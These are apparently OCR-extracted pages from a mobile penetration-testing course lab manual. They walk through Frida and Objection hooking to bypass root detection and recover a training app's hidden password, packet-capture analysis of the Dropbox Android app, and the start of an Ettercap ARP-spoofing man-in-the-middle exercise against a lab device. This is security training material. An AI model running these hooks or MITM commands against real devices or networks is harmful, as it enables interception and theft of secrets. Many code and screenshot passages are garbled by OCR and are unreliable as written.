. super () : -
- = R$style.dass -
- = R$styleable.dass -
. .
- = R.dass -
- private void checkforRoot() { -
i final Roo ootBeer = mew RootBeer(this.gethppliceticnContext());
:*323*25 % § rootBeer.setlogging(true); ;*;E;*;
- 19 if (roctBeer.isRooted( -
| 2 this.showRootedPopup() ; .
E*EEE*:E [ Exact + 1 -
- J
ol Search 2
.
- | private void showGreeting()
- ‘ g final AlertDialogéBuilder alertDialogéBuilder = new AlertDialogsBuilder((Context)this):
2 | 2 alertDialogsBuilder.setTitle((C quence lcome”) ;

alertDialegéBuilder.setCancelable (fals

alertDialogéBuilder.setMessage | ( Seq ) "Anything here is 100% ure”);

alertDialogéBuilder.setPositiveButton( | ) "0K™, (DialogInterfacesOnClickLiatener)this):

Search alertDialogéBuilder.create() .show():

private void showRootedPopup() |

4 final AlertDialogéBuilder alertDialogéBuilder = new AlertDialogéBuilder((Context)this):
alertDialogéBuilder.setT: T
alertDialogéBuilder
alertDialogéBuilder.setMessage ( (CharSequer

tle{ (CharSequence)

setCancelable (false)

alertDialogsBuilder. setPos,
slertDislogsBuilder.create

(DialogInterfacesOnClickListener)new MainActivity.MainActivit

show();

28 public void onClick(final
this.checkForRoot

alogInterface dialoglnterface, final int n) |

Dot e B e B
.
LR e e e e e e e e e e e

7. Examine the Application Flow

When the application is launched, the onCreate method is called. At the end of this method,
the showGreeting() method is called, which creates an alert dialog and shows it to the user.

Once the user clicks to dismiss the greeting dialog, the top onClick method is automatically
called, which calls the checkForRoot() method:

private void checkForRoot ()
{
RootBeer rootBeer = new RootBeer (this.getApplicationContext());
rootBeer.setLogging (true) ;
if (rootBeer.isRooted()) ({
showRootedPopup () ;

The application uses the com.scottyab.rootbeer.RootBeer framework, which is a popular
open-source root detection library. The main entry point to the RootBeer framework is the
isRooted() method, which will return a Boolean. We need to make this method return false
so that we can use the application.
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Al (atring.equala(new Vault().getPasaword())) {
final Intent intent = nmew Intent|(Context)this, ( 23)Viewlioteahctivity.class
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this.atartActivity (intent) :
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else |
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>
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8. Create frida Script

Open Notepad++ by clicking the Windows start menu and selecting the Notepad++ icon.
Type the following code into Notepad++:

Java.perform(disableRootCheck) ;

function disableRootCheck ()
{

var rootBeer = Java.use ("com.scottyab.rootbeer.RootBeer");
rootBeer.isRooted.implementation = function ()
{

console.log ("Root disabled");

return false;

This scripts creates a rootBeer variable that represents
the com.scottyab.rootbeer.RootBeer class. It then redefines the
RootBeer.isRooted method with a new implementation that simply returns false.
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Save the script as disable root.jsinthe E:\lab-files\frida directory.

Remember that you can use the LODS clipboard paste functionality if necessary using
Commands | Paste | Paste Clipboard Text.

g S
- -

va.perform(disableRootCheck);

function disableRootCheck()
var rootBeer = Java.use("com.scottyab.rootbeer.RcotBeer”);
rootBeer.isRooted.implementation = function()
{
console.log ("Root disabled"):;
9 ret false

e
e
e

.

[ save s X L

-

.

Sevein: | | fads s cmr
* Name Date modified Type

No items match your search,
Quick access

Desktop

"
Libraries

a

This PC

- < > .
Network .
Forame:  [dasble ot v =

Save as type: JavaScript fle ("js." jsm) 2 Cancel

.

-
-

=

-

-
-
-

.
.
-

Normal text file length: 240 Fines: 11 Ln:11 Col:2 Sel:0]|0 Dos\Windows UTF-8
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9. Install frida-server on the Android VM

Open a new Command Prompt by clicking Start | Command Prompt and navigate to the
E:\lab-files\frida directory.

C:\Users\student> E:
E:> cd lab-files\frida
E:\lab-files\frida>

Three steps are required to run frida-server on the device. First, the frida-server binary
needs to be pushed to a writable location using adb. Next, execution permissions need to
be set with chmod, and finally, the frida-server needs to be run as root.

Push the frida-server binary to the /data/local/tmp directory

E:\lab-files\frida> adb push frida-server /data/local/tmp/
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:\lab
x86 64

x86_64

x86_64
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10. Start SecureNotes with the disable_root.js script

Open a new command prompt by clicking Start | Command Prompt and navigate to the
E:\lab-files\frida directory.

C:\Users\student> E:
E:> cd lab-files\frida
E:\lab-files\frida>

Run Frida with the following arguments:

o -U : Tells Frida to connect to a device over USB. The adb connect issued
earlier mimics a USB interface

o | (lower case L): The location of the script
o -f: The package name of the application
o --no-pause : Tells the application not to pause execution when the application starts

E:\lab-files\frida> frida -U -1 disable root.js -f
org.sec575. securenotes --no-pause

Spawned “org.secb75.securenotes’. Resuming main thread!
[Microsoft Corporation Virtual Machine::org.secb575.securenotes]->

Switch to the Android VM and click the OK button of the greeting dialog. The application now
goes to the main login screen, without kicking you out. If you switch to the Windows VM,
you can see that the "Root disabled" message is shown, indicating that you intercepted the
isRooted() call.
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11. Find the Decryption Key

The main screen of the Secure Notes app asks for a password. We will need to reverse
engineer the application further to find the key.

Open the Bytecode Viewer application on the Windows VM. In the MainActivity.class file, the
second onClick () method is called when the "OPEN NOTES" button is clicked. This

method loads the password from the Vault.getPassword () method.

Open the Vault class using the browser on the left and read the code. There is only one
method (getPassword () ) that calls the tostring () method of the vaults$1 class.
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Finally, open the Vault$1.class file and try to read the password. Unfortunately, the password has
been obfuscated and cannot easily be recovered. Luckily, we can use Frida to get the result.

B Bytecode Viewer 2.9.22 - https:/bytecodeviewer.com | httpsy//the.bytecode.club - @Konloch -
File View Settings Plugins
Files Work Space

= @ searenotes orglsecs75/securenotesManActnity.dass %
= Appinitisizer dass
= BuidConfig.dess s +
ManActvity$l.dass —
Procyon Decompler - Edtable: false
MainActivity,dass

NotesAdapter.class 2 ]

private void showGreeting()
final AlertDialogéBullder alertDialogéBuilder = new AlertDialogéBuilder((Context)thi
alertDialogéBuilder.setTitle(| )
alertDialogéBuilder.setCancelable (false)

"Welcome™) :

0% secure”):

acesOnClickListener) this):

R$layout.dass
Rémipmap.dass

Rstring.dlass
Rsstyle. dass ¢ g x DislogsBuilder ( (Context)this);

Réstyleable.dass
R.class

Vaults1l.dass e "1 H
Vault.dass {{CharSe lickListener)new Mainkctivity.MainAcrivitysl(t

final int n)

this.checkForRoot();

public void onClick( Vi ew) |
final String string = (( iew) this. findViewByld (21
if (string.equals(new Vault().getPassword())) |
final Inten: ntent = new Intent((Context)this, ( 35)ViewliotesActivity.class)
intent.putk: . o
this.startActivity(intent

else |
Toast.makeText (this.getApplicationContext(),

protected void onCreate(final Bundle bundle) |
super.onCreate (bundle) ;
this.setContentView(2131296284)
this.findViewById (21311652 .setOnClickLlistener | (ViewsOnClickListener)this
new AppInitializer().init(this.getApplicationContext());
this.showGreeting()

12. Hook the Vault.getPassword Method

Open Notepad++ and edit the injected script to log the value of the vault.getPassword
method. The new snippet can be added in the disableRootCheck function. Both hooks are
added at the start of the application and will be executed when the application calls the
respective methods.

Since we need the actual result of the original Vault.getPassword method, we must call the
original method from our own implementation:

var vault = Java.use ("org.secb/75.securenotes.Vault");
vault.getPassword.implementation = function ()
{

var password = this.getPassword() ;

console.log ("Password: " + password);

return password;
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Save the modified script.

Window

File Edit Search View Encoding Language Settings
R oc ekl =

Mscro Run  Plugins

cHEHE 3 H&

(=) dmabe_roct s £3 |
1 Java.perform(disableRoctCheck) ;
.

| -
.

function disableRcotCheck()
4 {
var rootBesr = Java.use(" * . sar®);
rootBeer.isRooted. implementation = function()
] {

console.log (" led") ;
return false

-

12 var vault = Java.use("oxg ") =
L

13 vault.getPassword.implementation = function() -
4 { - -

var password = this.getPassword() : e
16 censcle.log("F ox + password) ; -
1 return password; =

= o

e
| Javascript ile length: 454 fines : 19 Dos\Windows

S S
= e
- .

13. Restart SecureNotes with the New Script

Go to the Command Prompt containing the £rida prompt. Enter the quit command to stop
the current interaction. Use the same command as previously to start the application again.
Because of the -f argument, the application will automatically be terminated and restarted.

E:\lab-files\frida> frida -U -1 disable root.js -f
org.secb75.securenotes —--no-pause

Spawned ‘org.sec575.securenotes’ . Resuming main

thread! [Microsoft Corporation Virtual
Machine::org.sec575.securenotes] ->
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You need to make sure the application actually calls the Vvault.getPassword
Alternatively, you could make a new Vault object inside the disable root.ds

method in order to trigger your hook.

random password and click the "OPEN NOTES" button. A popup will say that the given
script and call the getPassword method manually.

Switch to the Android VM and click the OK button of the welcome dialog. Next, enter a
password

14. Trigger the Vault.getPassword Method
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Switch to the Windows VM and read the output of the script. Both hooks have been hit, and
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16. Use the Password to Get the Secrets

Switch to the Android VM and use the recovered password to view the secret notes.
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17. Start Objection
Close the application by opening the task switcher and clicking on the X for the SecureNotes
app.

Return to the Windows VM and open the Frida Command Prompt. The Frida REPL will have
noticed that the application has been terminated and stop automatically:

[Microsoft Corporation Virtual Machine::org.secb575.securenotes]->
Process Terminated

Thank you for using Frida!

E:\lab-files\frida>

Start the objection CLI with the correct target application (org.sec575.securenotes) as
the gadet argument:

E:\lab-files\frida> objection --gadget=org.sec575.securenotes
explore
Using USB device 'Microsoft Corporation Virtual Machine'

Agent injected and responds ok!

Runtime Mobile Exploration
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by: @leonjza from @sensepost

[tab] for command suggestions
org.secb575.securenotes on (Android-x86: 8.1.0) [usb] #

. {ES Command P b dgets org.secsT" =
- ommand Prompt - objection --gadgetsorg.secS? .
= |e:\lab-files\frida>frida -U -f -
-

- ' S | Frida 12.6.23 - A world-class dynamic instrumentation toolkit -
- -
:E*E:E*E > F | Commands : EEE*EEE*
3;:;2;:5 il help -> Displays the help system EEEZEEEZ
e object? -> Display information about ‘object’ .
- gyt exit/quit -> Exit .
= -
. | . ... |More info at https://www.frida.re/docs/home/ .
- {Spawned "org.sec575.securenotes’ . Resuming main thread! =
= |[Microsoft Corporation Virtual Machine::org.sec575.securenotes]-> Process ter .

| |[Microsoft Corporation Virtual Machine::org.sec575.securenotes]->

-

~ |Thank you for using Frida! -

E:\lab-files\fridambje(tion --gadget=org.sec575.securenotes explore
Using USB device “Microsoft Corporation Virtual Machine®

| Agent injected and responds ok!

=

.

- Runtime Mobile Exploration
- by: @leonjza from @sensepost
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18. Disable Root Detection

Objection has a feature that hides certain files and settings on the device that can be used
to identify a rooted device. With the android root disable command, you can enable the
hooks, which will prevent the application from detecting them.

org.secb75.securenotes on (Android-x86: 8.1.0) [usb] # android root
disable

(agent) Registering job fxoi%ankfr. Type: root-detectiondisable
org.secb75.securenotes on (Android-x86: 8.1.0) [usb] #

Switch to the Android VM and click OK on the first alert. The application will not detect the
rooted device and will show you the login view.

Switch to the Windows VM and notice that various hooks have been triggered. The su
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¥ Command Prompt - objection --gadgets org.sec575.securenctes explore

E:\lab-files\frida>frida -U -f org.sec575.securenotes -1 disable_root.js --no-pause

Frida 12.6.23 - A world-class dynamic instrumentation toolkit

|
|
| Commands :
] | help -> Displays the help system
object? -> Display information about ‘object’
. exit/quit -> Exit
oA More info at https://www.frida.re/docs/home/
Spawned "org.sec575.securenotes’ . Resuming main thread!
[Microsoft Corporation Virtual Machine::org.sec575.securenotes]-> Process terminated
[Microsoft Corporation Virtual Machine::org.sec575.securenotes]->

Thank you for using Frida!

E:\lab-files\frida>objection --gadget=org.sec575.securenotes explore
Using USB device “Microsoft Corporation Virtual Machine®
Agent injected and re

Runtime Mobile Exploration
by: @leonjza from @sensepost

75.securenotes on [usb] # android root disable
Registering job fxoi9ankfr. Type:
ec575.securenotes on [usb] # (agent) [fxoi9ankfr] File existence check for /data/local/su detected, marking as
[fxoi9ankfr] File existence check /data/local/bin/su detected, marking as * 5
[fxci9ankfr] File existence check /data/local/xbin/su detected, marking as
[fxoi9ankfr] File existence check /sbin/su detected, marking as A
[fxoi9ankfr] File existence check /system/bin/su detected, marking as .
[fxoi9ankfr] File existence check /system/bin/failsafe/su detected, marking as
[fxoi9ankfr] File existence check /system/sd/xbin/su detected, marking as *
[fxoi9ankfr] File existence check /system/xbin/su detected, marking as

19. Hook the Vault.getPassword Method

The next step is once again to hook the vault.getPassword function. Objection allows
you to easily do basic hooking. In this case, we need the return value of
Vault.getPassword. This can be done though the hooking command:

org.secb75.securenotes on (Android-x86: 8.1.0) [usb] # android
hooking watch class_method org.sec575.securenotes.Vault.getPassword
-—dump

—-return

(agent) Attempting to watch class org.secb75.securenotes.Vault and
method getPassword.

(agent) Hooking org.secb75.securenotes.Vault.getPassword ()

(agent) Registering job aqgOttfd4i72. Type: watch-method for:
org.secb75.securenotes.Vault.getPassword

org.secb75.securenotes on (Android-x86: 8.1.0) [usb] #
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E:\lab-files\frida>frida -U -f org.sec575.securenotes -1 disable_root.js --no-pause
Frida 12.6.23 - A world-class dynamic instrumentation toolkit

Commands :
help -> Displays the help system
object? -> Display information about ‘object
exit/quit -> Exit

o " More info at https://www.frida.re/docs/home/
Spawned “org.sec575.securenotes’ . Resuming main thread!
[Microsoft Corporation Virtual Machine::org.sec575.securenotes]-> Process ter
[Microsoft Corporation Virtual Machine::org.sec575.securenotes]->

Thank you for using Frida!
E:\lab-files\frida>objection --gadget=org.sec575.securenotes explore

Using USB device “Microsoft Corporation Virtual Machine®
Agent injected and ]

1712l
3 _I | I

1 ] L O
t)i nject(mn) vl 7.4

s

2 P

| 15 W)

|| (objec
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3 g wotes on [usb] # android root disable
(agen() Registering job fxoi9ankfr. Type:
org.secs securenotes on i [usb] # (agent) [fxoi9ankfr] File existence check for /data/local/su detected, marking as
(agent) [fxoi9ankfr] File existence check /data/local/bin/su detected, marking as ¢ .
(agent) [fxci9ankfr] File existence check /data/local/xbin/su detected, marking as
(agent) [fxoi%ankfr] File existence check /sbin/su detected, marking as ¢ A
(agent) [fxoi9ankfr] File existence check /system/bin/su detected, marking as .
(agent) [fxoi9ankfr] File existence check /system/bin/failsafe/su detected, marking as
(agent) [fxoi9ankfr] File existence check /system/sd/xbin/su detected, marking as
(agent) [fxoi9ankfr] File existence check /system/xbin/su detected, marking as

575.securenotes on 1 [usb] # android hooking watch class llethod org.sec575.securenotes.Vault.getPassword --dump-return
agent) Attempting to watch class and method
agent) Hooking % )
agent) Registering job aqettf4i72. Type:

securenctes on [usb] # o

20. Trigger the Vault.getPassword Method
Switch to the Android VM and enter a random password. Click the "OPEN NOTES" button to
trigger the Vault.getPassword method.

21. Collect the Password

Return to the Windows VM. The Vault.getPassword method has been triggered and
Objection has printed the return value.
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\lab-files\frida>frida -U -f org.sec575.securenotes -1 disable_root.js --no-pause
Frida 12.6.23 - A world-class dynamic instrumentation toolkit

|
|
| Commands :
| help -> Displays the help system
object? -> Display information about ‘object’
exit/quit -> Exit

- More info at https://www.frida.re/docs/home/
pawned org.sec575.securenotes’ . Resuming main thread!
Microsoft Corporation Virtual Machine::org.sec575.securenotes]-> Process terminated
Microsoft Corporation Virtual Machine::org.sec575.securenotes]->

hank you for using Frida!
:\lab-files\fridawbjection --gadget=org.sec575.securenotes explore

sing USB device “Microsoft Corporation Virtual Machine®
gent injected and responds ok!

Runtime Mobile Exploration
by: @leonjza from @sensepost

75.securenotes o [usb] # android root disable

Regxster‘xng Job fxox?ankfr
E R

[usb] # (agent) [fxoi9ankfr] File existence check for /data/local/su detected, marking as
[fxoi9ankfr] existence /data/local/bin/su detected, marking as
[fxeiankfr] existence /data/local/xbin/su detected, marking as
[fxoi9ankfr] File existence /sbin/su detected, marking as
[fxoi9ankfr] Fi existence /system/bin/su detected, marking as
[fxoi9ankfr] existence /system/bin/failsafe/su detected, marking as
[fxoi9ankfr] existence /system/sd/xbin/su detected, marking as ¢
[fxoi9ankfr] File existence /system/xbin/su detected, marking as
5.secureno [usb] # android hooking watch class_| nethod org.sec575.securenotes.Vault.getPassword --dump-return
Attempting to watch class and method
Hooking o (9]
Reglstering job aqettfaizz. Type:
.securenotes on [usb] # (agent) [aqettf4i72] Called
[aqettf4i72] Return Value: ScoobyDoobyDoo

22, Optional: Explore Other Functionality

Objection has many other features that are worth taking a look at. Not all of them are
stable, as some commands will trigger bugs in Frida, while others may be incompatible with
the emulator. Play around with the following commands:

o env

o android hooking list classes

o android hooking list class_methods org.sec575.securenotes.MainActivity

o android hooking search classes Vault

o memory list modules

o memory list exports frida-agent-64.s0
In this exercise, you used Frida to modify the behavior of the application at runtime. The two scripts
you used already show powerful functionality, but they are only the tip of the iceberg. Unfortunately,
Frida has a very steep learning curve and harnessing its full potential takes quite some time. A good
approach to writing Frida scripts is to search for open-source scripts online and modify them to your
needs. Eventually, you will get the hang of it. Since you can also use Frida to target Linux, MacOS,

Windows, or iOS executables, your skills are transferable to other types of assessments, which make
acquiring them worth the effort.
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Objection contains many interesting default hooks, but they often need to be tweaked for specific
applications. For basic instrumentation, Objection Is very fast and user friendly and some of the
plugins, such as disabling SSL pinning, often work quite well.
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SEC575-5.1: Exercise—Mobile Application Network Traffic Analysis
Objective

Evaluate network activity for two different use cases: a suspected piece of Android malware and a
mobile app used for enterprise data access. Use multiple tools to evaluate the packet captures,
including Linux command line utilities, Wireshark, and NetworkMiner.

Scenario

As a mobile security analyst, you will be called upon to evaluate the network traffic generated by
various mobile applications. This analysis may be to evaluate the disclosure of information for a
suspected mobile malware sample, or it may be to evaluate a mobile application to determine if it
exhibits security flaws that violate the security requirements for your organization.

In this hands-on exercise, you'll evaluate both scenarios to identify information disclosure threats
and flawed mobile applications.

Virtual Machines

1. Windows 10
2. Kali

NetworkMiner Analysis

Your CTO, Mike Hottaire, has assigned you a new project. The company intends to start distributing
sensitive training materials to employees using Dropbox (the dropbox.com service) over Android
devices. You are tasked with evaluating the network activity generated through the use of Dropbox
on Android to determine if it sufficiently protects access to authentication credentials and files
commonly used for training. PDFs, images, and MPG (video) files.

Kevin Searle on your team has prepared a packet capture for your analysis, located in E:|lab-
files |traffic_analysis|dropbox-android.pcap. He described the actions taken in the Dropbox for
the Android app during the packet capture:

"T launched Dropbox on the Android tablet, then I logged in. I opened three image files, then I
opened a PDF. When I opened the PDF, the default PDF viewer Polaris Office launched to view the
file. Returning to Dropbox for Android, I clicked on a video file for a prototype product we're
working on."

Use the NetworkMiner tool installed on the Windows system to evaluate the contents of the
packet capture and answer the following questions:

» Which host sent the most packets?

» What hosts other than Dropbox were reached? Does this disclose any behavior and use
information?

» Does Dropbox protect downloaded files with transport encryption? What type?
» (Can we extract file content from the packet capture?
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1. Log in to Windows

Switch to the Windows 10 machine. Click and drag the lock screen up to reveal the login
screen. Log in as the user student with the password student.

Optionally, you can paste the password through the Commands | Paste |
Paste Password menu option at the top of the screen if desired.

2. Start NetworkMiner

NetworkMiner is installed on the Windows system. From the Start menu, launch
NetworkMiner. Maximize the window after NetworkMiner starts.

3. Open the Dropbox for Android Packet Capture

From NetworkMiner, click File | Open to open a packet capture file. Navigate to the E:\lab-
files\traffic_analysis directory and select the dropbox-android.pcap capture file. Click Open
after selecting the capture file. NetworkMiner will automatically parse the contents of the
capture file.
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4. Change Host Sort Order

From the Hosts tab in NetworkMiner, you see that the default sort order for hosts is by
ascending IP address. Change the sort order to Sent Packets (descending) to identify
the host that sent the most packets.
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Use this NetworkMiner feature to quickly identify the host that sent the most packets
as showbox-tr.dropbox.com at 23.23.210.180.

B e - e
m**

. @ NetworkMiner 1.6.1
-
File Tools Help

-

Select a network adapter in the st —

Hosts (26) Frames (5Goc) Files (49) Images Messages Credentials Sessions (41) DNS (50) Parameters (37) Keywords Ceatext Anomabes
Sot Hosts On: | Sent Packets (descending)
12 23.23.210.180 jshowbexdr dropbax.com] fapi-stream dropbax,com] (Linx)|

0 172.16.0.134 (Lnux)

49 54.235 161,13 [dhbalancerd- 1262979253 us east-1 el amazonaws com) [dbatancer biah dropbax com]
W9 139.47.219.158 [v-ap¥.sic dropbax com] fapi dropbaax com)

N9 74125226233

98 20867222222

91 61.96.206.121 fusermgr1 polansoffice com]

49 173.194.75.106 fwww google com)

W9 5424695142

m "

e T —_—
e A

e e s
e o L
- L e

5. Examine Network Sessions

When performing host analysis with NetworkMiner, we can view host information in the
Hosts tab or the Sessions tab. Switch to the Sessions tab to inspect the communication
between the Android device and servers in time progression order. Resize the Client host
and Server host columns to see the host information clearly.
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7.

@' NetworkMiner

File  Tools  Heip
— Select @ netwark sdacter n the et — v d Stop
Czeo Panel

Flename  MO3
dopbax- . 63504

Hoels (26) Frames (B60x) Fike (49) Images Messagee Cradertizle Sessiors (41) DNS (50) Parameter (37) Keywords Oearext  Anomdice
Framorr.  Clent hoat C rott Serverheet S.pot Protozol.. Stantme

172160134 (Linx) 54336 193.47.219.158 443 2/8/20
172160134 (inx) 54937 19947 213.158 443 5 2/8/20
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172160138 (Lnx) 55515 2323210 130 [showbaxdr drophax com] [apistream dropboe. com] (Linux) 8l ! 2/8/20)
1721601348 Linx) 55616 2323270 180 [showbonxt dropbos com) [ani-stream cropbow com) (L) 80 ! 28/20
17216.0.134 {Unx) 55517 23.23.210 180 fehowbox4r dropox com! [api-etream. cropbow.com] {Linux) 8 i 2.

> Reload Cas= Files

m 5

Infer Dropbox Behavior

Although we can't make absolute statements about the behavior of Dropbox for Android, we
can correlate the steps taken while the packet capture was generated against the session
listing to infer the likely behavior of the application.

In the Sessions view, the first two sessions target the 199.47.219.158 host over SSL. No
additional information is available in NetworkMiner, but it's possible this activity represents
the authentication from the Dropbox for Android app to the Dropbox servers.

Next, there are three sessions to dl-balancer.blah.dropbox.com. Due to the nature of SSL,
we don't have any additional insight into the contents of this activity, but it's likely that this
activity correlates to the viewing of three image files at the beginning of the packet capture.
Shortly afterward, a fourth SSL request is sent to the dl-balancer Dropbox host,
corresponding to the retrieval of the PDF file (immediately prior to the request to
www.google.com and usermgrl.polarisoffice.com).

From this assessment, we can determine that Dropbox does use SSL to protect the
confidentiality of network activity. However, at the bottom of the NetworkMiner
window on this page, we see requests to api-stream.dropbox.com, both over SSL
and HTTP.

View Polaris Office XML File

Navigating to the NetworkMiner Files tab, you will see several files are extracted from the
packet capture. Several of these files are certificates used during SSL connection
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establishment, but you will alsc see an XML fiie for the usermgrl.polarisoffice.com session.
Right-click on this entry (as shown in the screenshot) and select "Open file".
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8. Review Polaris Office XML File

The XML file will open in a web browser on your system, displaying the content shown
below:

<NoticeType device="m" A="4" B="1" C="4" HH="03" lang="en">
<URL>

<FAQURL>http://m.polarisoffice.com/en/Faqg.asp?
device=m&ABCHH=41403</FAQURL>
<UserGuideURL>http://m.polarisoffice.com/en/Manual.asp?
device=m&ABCHH=41403</UserGuideURL>
<NoticeURL>http://m.polarisoffice.com/en/Notice.asp?
device=m&ABCHH=41403</NoticeURL>
<MainURL>http://m.polarisoffice.com/en/Main.asp?
device=m&ABCHH=41403</MainURL>

</URL>

<NoticeList>

<Notice>

<NoticeID>256</NoticelID>

<NoticeCreateDate>2012-12-27 17:07:26.060</NoticeCreateDate>
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<NoticeLimitDate>9999-99-99</NoticeLimitDate>
</Notice>

</NoticeList>

</NoticeType>

From this content, we see that Polaris Office retrieves XML information from a remote server,
which could be manipulated by an attacker to perform client-side injection attacks on the
victim device. We'll investigate these attacks in more depth later in the course.

The Polaris Office server response discloses XML information used by the client. This could be
vulnerable to client-side injection attacks, which we'll cover later in the course.

Tommle
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9. Examine MP2T Files

In addition to certificates and the Polaris Office XML file, NetworkMiner also identifies several
MP2T files after the PDF file open event, corresponding to the start of stream video from
Dropbox. Examine these files by right-clicking and select Open folder.
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10. Open and View MP2T File

MP2T files are MPEG-2 Transport Stream files. Although the file extension is not commonly
associated with Windows Media Player or other media playback tools, you can view the file
with Windows Media Player.

Right-click on one of the MP2T files then select "Open with ...", followed by "More Apps".
Select Windows Media Player as the preferred media player to see the video content.
Windows Media Player will warn you that the file extension .MP2T is not recognized, and "Do
you want the Player to try to play this content?" Click "Don't ask me again for this
extension", then click Yes.

Playing the MP2T file, we can see a short segment of the video streaming content.
This confirms that the Dropbox for Android app does not use SSL/TLS to protect the
confidentiality of at least this video streaming file (possibly all streaming files).

In the network streaming process, NetworkMiner identifies the MPEG data stream
and saves the content in several small files. We can inspect all the files to retrieve
the entire video content.
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11. Optional: Reassemble Files

Although you can view excerpts from the video stream in small pieces, NetworkMiner did not
produce a reassembled video file to watch from beginning to end.

If you have more time during this exercise, you can work on this optional component.
Reassemble the video files extracted by NetworkMiner so the video can be viewed beginning
to end.

12. Create M3U Playlist File

The M3U playlist file type is a standard media playlist file consisting of a beginning line
of "#EXTM3U" followed by multiple media files, one per line. We can use the Windows
"dir" command to create the list, as shown on this page, using the "/b" (bare), "/OD"

(sort by date/time, oldest first), and "/TC" (sort by the creation timestamp) arguments.

First, open a command prompt and change to the directory where the MP2T files are
extracted. The path will be similar to the example shown below:

C:\Users\student>cd
"\tools\NetworkMiner\AssembledFiles\23.23.210.180\HTTP - TCP
80\1\view_transcode\AfDev7hK9HDfTKcX bgEQL"

Next, manually create the playlist file as shown: C:\tools\...>echo
"#EXTM3U" >1ist.m3u C:\tools\...>dir /b /OD /TC *.mp2t
>>1ist.m3u C:\tools\...>start
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Open the list. m3u playback file to see the video content play back in datestamp order.

Unfortunately, even with this technique, the first few videos are out of order. Edit the playlist file
with Notepad or another text editor and manually rearrange the files in playlist order by using the
video characteristics to identify and re-sort the out-of-order segments.

You can easily get the right path by dragging a folder on top of the command
window.

From NetworkMiner's data, we can characterize the security of the Dropbox application. While
Dropbox uses SSL for file transfers, third-party application handlers such as Polaris Office can
disclose behavioral information on the device. This is not a vulnerability in Dropbox, but could be
useful insight for an attacker.

While file downloads from the Dropbox application are encrypted, video streaming information is
not. We can use NetworkMiner to reconstruct the video streaming information, playing the
unencrypted files with video playback tools.

Delivering your analysis to Mike Hottaire, you are able to present an accurate risk perspective for
adopting the Dropbox for Android application for production use. Congratulations!
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SEC575-5.2: Exercise—Manipulating Web Browser Activity
Objective

Using a MITM attack with Ettercap, network traffic redirection with iptables, and Burp Suite
transparent proxy match and replace functionality, manipulate the website at
http://puppywar.sec575.0org so the Android victim sees the pwned.png image instead of the puppy
pictures.

Scenario

In a mobile pen test, several useful exploits are available that take advantage of mobile browser
flaws. While you can prepare an exploit and trick a user into navigating to your website through
phishing, you can also force a user to retrieve your exploit through MITM traffic manipulation
attacks.

In this exercise, the Android device will serve as the victim, browsing to the website PuppyWar at
http://puppywar.sec575.org. You will use Kali Linux as the attacker, establishing a MITM attack with
Ettercap, redirecting HTTP activity from the victim to the Burp Suite proxy, and manipulating HTTP
response traffic using Burp Suite Match and Replace. In this exercise, the manipulated response will
be a simple website defacement. In later exercises, we'll use this same technique to deliver mobile
device exploits.

Virtual Machines

1. SEC575-E01_02: PfSense
2. Kali

3. Android 8.1

4, SEC575-E01_02: LabServer

Manipulating Web Browser Activity

In this exercise, you'll use the Linux Ettercap utility to create a MITM attack between the target website
puppywar.sec575.org at 10.10.10.10 and the victim Android device at 10.10.10.7. Once you've
established the MITM, you will use network traffic manipulating with Burp Suite Proxy to deface the
website. The defacement will only be apparent to the victim since the changes will be applied at the
proxy server prior to delivery to the victim and not on the server itself.

For the website defacement, you'll replace the cute pictures of puppies with an image containing the
word pwned delivered from your Linux attacker system.

1.Log in to Kali Linux

From the Machines tab, select the SEC575 Kali Linux machine. Log in as the user root with the
password toor.

2.Start Burp Suite
From Kali Linux, start Burp Suite from the quick launch toolbar on the left of the window.

Click ok on the "Unsupported Java Version" warning and dismiss the update installer. Finally,
since this is the Community edition of Burp Suite, we can't create a project, so click "NEXT" and
"START BURP".
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On the main interface, navigate to the PROXY tab.
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3.Turn off Proxy Intercept

By default, Burp Suite intercepts each proxied request, giving you the opportunity to manipulate
requests before they are sent with manual editing. This process is too slow for use in an active
attack. Instead, we'll use the Burp Suite Match and Replace functionality to automate the

Er_ocess of manipulating HTTP responses to the victim. .
lick on the Proxy tab, then click the Intercept tab. Click the button marked Intercept is on to
disable the Intercept function.

4. Configure Burp Listener Settings

Burp can be used as a MITM tool but requires some additional configuration steps. First, add a
new Proxy Listener configuration to be used for MITM attacks.

Click Options tab (second row). In the Proxy Listeners group, uncheck the checkbox in the
Running column for the existing proxy listener configuration. Click the Add button to add a
new listener configuration with the following settings:

° In the Binding tab, enter port number 8080 and select All interfaces
in the Bind to address list. In the Request handling tab, click on
Support invisible proxying.

After making these changes, click OK. Burp Suite will prompt you to Confirm that you
want the proxy listener to bind to all interfaces. Click Yes to continue.
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Next, ensure the new listener is active and marked as Running. If the previous listener is
running, click to disable it, then click to turn on the new listener.
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5. Configure Burp Options for MITM
Burp Suite is not intended to be used as a MITM attack tool in its default configuration. To use it
as a MITM attack tool, navigate to the Proxy | Options menu. Scroll to the bottom of the
options in the Miscellaneous section and turn on the following options:

° Disable web interface at
o http://burp Suppress Burp error
messages in browser

By disabling the Burp web interface, we stop another user on the network from
browsing to the attacker's system and inspecting the Burp proxy logging history
details.

By disabling the Burp error messages, we stop the victim from getting an error indicating
the use of the Burp proxy server when a remote site times out, or another error is

encountered.

6.0pen Linux Terminal
From the Linux system, open the Terminal application by clicking Applications | Favorites | Terminal.

To easily see a list of the open Kali Linux windows, click Applications | Activities Overview.

7.Start MITM Attack with Ettercap

Next, mount the MITM attack using Ettercap, as shown:
root@kali:~# ettercap -T -q -M arp:remote /10.10.10.7// /10.10.10.10//
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In this exercise, both the victim Android device (10.10.10.7) and the PuppyWar web
server (10.10.10.10) are on the same LAN. In a pen test, the mobile device is locally
accessible on the LAN, but the remote web server is not. In that circumstance, the
second host in the MITM attack would be the default gateway/router for the network.
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8. Examine Victim Sessions

From Ettercap's text-based view, press "s" to examine the statistics collected by Ettercap and
"c" to collect TCP session information. After a short period, you will see some observed session
information displayed, reinforcing that you have successfully established your position as MITM.
If after a minute you don't see any output from the TCP session listing, you can switch to

the Android device and browse to http://files.sec575.org to generate some network

activity.

Bashboard | Tas

File Edit View Search Terminal Help
Intercept | MITR

¥ Bottom r 3 ! pck:
Top H; ac <
Inte

Bottom Half

Butomt

These settey

Use HTTR
Use WTTH
Set respol
Set “Con
Strip Proxg
Remave
rip See- 18.
18.168.18.
18.18.10.
16.10.18.
10.10.10.

© 2019 Joshua Wright & NVISO




9.0pen a New Linux Terminal
From the Kali Linux terminal, open a second terminal session by clicking on the File | New Window.

10. Start Linux Webserver

In order to deliver the pwned image to the victim system, you need to provide a web server
where the image can be retrieved over HTTP by the victim. Many Linux web servers are
